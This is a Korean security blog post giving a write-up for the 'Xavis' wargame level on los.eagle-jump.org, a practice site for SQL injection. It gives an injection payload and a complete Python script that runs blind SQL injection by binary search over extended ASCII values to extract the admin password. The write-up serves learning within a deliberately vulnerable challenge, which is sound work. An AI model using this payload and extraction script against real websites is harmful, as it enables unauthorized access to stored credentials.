Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

White Security

Xavis 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Xavis 문제풀이

POSIX 2019. 1. 31. 18:29


los.eagle-jump.org 19번 문제입니다.


이번 문제의 pw 값은

Extended ASCII Character 로 이루어져 있습니다.

따라서 기존 0 ~ 128 까지의 값으로

추정하여 인젝션을 시도하였는데

성과가 없으셨다면


포스팅을 읽기 전

256까지 범위를 확장하여

다시 시도해 보실 것을 권합니다.


pw='||id='admin'+and+length((pw))>=32--+-

중요 연산자는 모두 필터링 되지 않아
사용이 가능하므로
평소처럼 Blind SQL Injection을 시도하시면 되겠습니다.

from urllib import request, parse, error
import math, sys

def check_true(response): return ( response.find(b'Hello admin') != -1 );

def if_query(query):
	url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=' \
	+ parse.quote("' or instr(id,'admin') and " + query + '#')

	req = request.Request(url)

	req.add_header('Cookie', 'PHPSESSID=bffoqib7ifvor1u7qv0q2vfjh0')
	req.add_header('user-agent', 'Mozilla/5.0')

	response = None
	
	while response is None:
		try:
			response = request.urlopen(req).read()
		except error.URLError:
			pass

	return check_true(response)

def check_greater_than(query, val):
	return if_query(query + '>=' + str(val))

def find_char(query):
	first = 0
	last = 256
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
			
	return chr(first)

def get_content(name):
	name = '(' + name + ')'
	content_len = 10;
	content = ''
	
	if content_len == 0:
		sys.stdout.write('Invalid request\n')
		return ''
		
	for idx in range(1, content_len + 1):
		content += find_char('ord(substr(' + name + ', ' + str(idx) + ', 1))')
		sys.stdout.write('\r[' + str(content_len) + '] ' + content)
	
	sys.stdout.write('\n%s\n' % parse.quote(content))
	return content


content = get_content('pw')
	
 


기본 아스키 문자열이 아니기에

일부 콘솔 창에서 문자열이

정상적으로 표시되지 않을 수 있으나

URL Encoding을 한 후에

사용하면 깔끔하게 해결됩니다.




'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Iron golem 문제풀이  (0) 2019.01.31
Dragon 문제풀이  (0) 2019.01.31
Nightmare 문제풀이  (0) 2019.01.31
Succubus 문제풀이  (0) 2019.01.31
Zombie assassin 문제풀이  (0) 2019.01.31
Comments